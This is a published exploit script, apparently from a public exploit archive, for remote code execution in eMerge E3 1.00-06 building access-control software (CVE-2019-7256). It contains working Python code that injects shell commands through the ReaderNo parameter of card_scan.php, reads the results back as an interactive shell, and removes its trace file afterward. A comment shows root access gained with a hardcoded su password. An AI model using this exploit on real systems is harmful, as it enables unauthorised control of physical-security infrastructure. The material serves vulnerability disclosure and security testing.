eMerge E3 1.00-06 - Remote Code Execution

# Exploit Title: eMerge E3 1.00-06 - Remote Code Execution
# Google Dork: NA
# Date: 2018-09-11
# Exploit Author: LiquidWorm
# Vendor Homepage: http://linear-solutions.com/nsc_family/e3-series/
# Software Link: http://linear-solutions.com/nsc_family/e3-series/
# Version: 1.00-06
# Tested on: NA
# CVE : CVE-2019-7256
# Advisory: https://applied-risk.com/resources/ar-2019-009
# Paper: https://applied-risk.com/resources/i-own-your-building-management-system
# Advisory: https://applied-risk.com/resources/ar-2019-005

#!/usr/bin/env python
#
###################################################################
# lqwrm@metalgear:~/stuff$ python emergeroot1.py 192.168.1.2
#
# [email protected]:/spider/web/webroot$ id
# uid=1003(lighttpd) gid=0(root)
#
# [email protected]:/spider/web/webroot$ echo davestyle |su -c id
# Password: 
# uid=0(root) gid=0(root) groups=0(root)
#
# [email protected]:/spider/web/webroot$ exit
#
# [+] Erasing read stage file and exiting...
# [+] Done. Ba-bye!
#
###################################################################

import requests
import sys,os##

piton = os.path.basename(sys.argv[0])

if len(sys.argv) < 2:
	print '\n\x20\x20[*] Usage: '+piton+' <ipaddress:port>\n'
	sys.exit()

ipaddr = sys.argv[1]

print
while True:
	try:
		cmd = raw_input('lighttpd@'+ipaddr+':/spider/web/webroot$ ')
		execute = requests.get('http://'+ipaddr+'/card_scan.php?No=30&ReaderNo=%60'+cmd+' > test.txt%60')
		readreq = requests.get('http://'+ipaddr+'/test.txt')
		print readreq.text
		if cmd.strip() == 'exit':
			print "[+] Erasing read stage file and exiting..."
			requests.get('http://'+ipaddr+'/card_scan.php?No=30&ReaderNo=%60rm test.txt%60')
			print "[+] Done. Ba-bye!\n"
			break
		else: continue
	except Exception:
		break

sys.exit()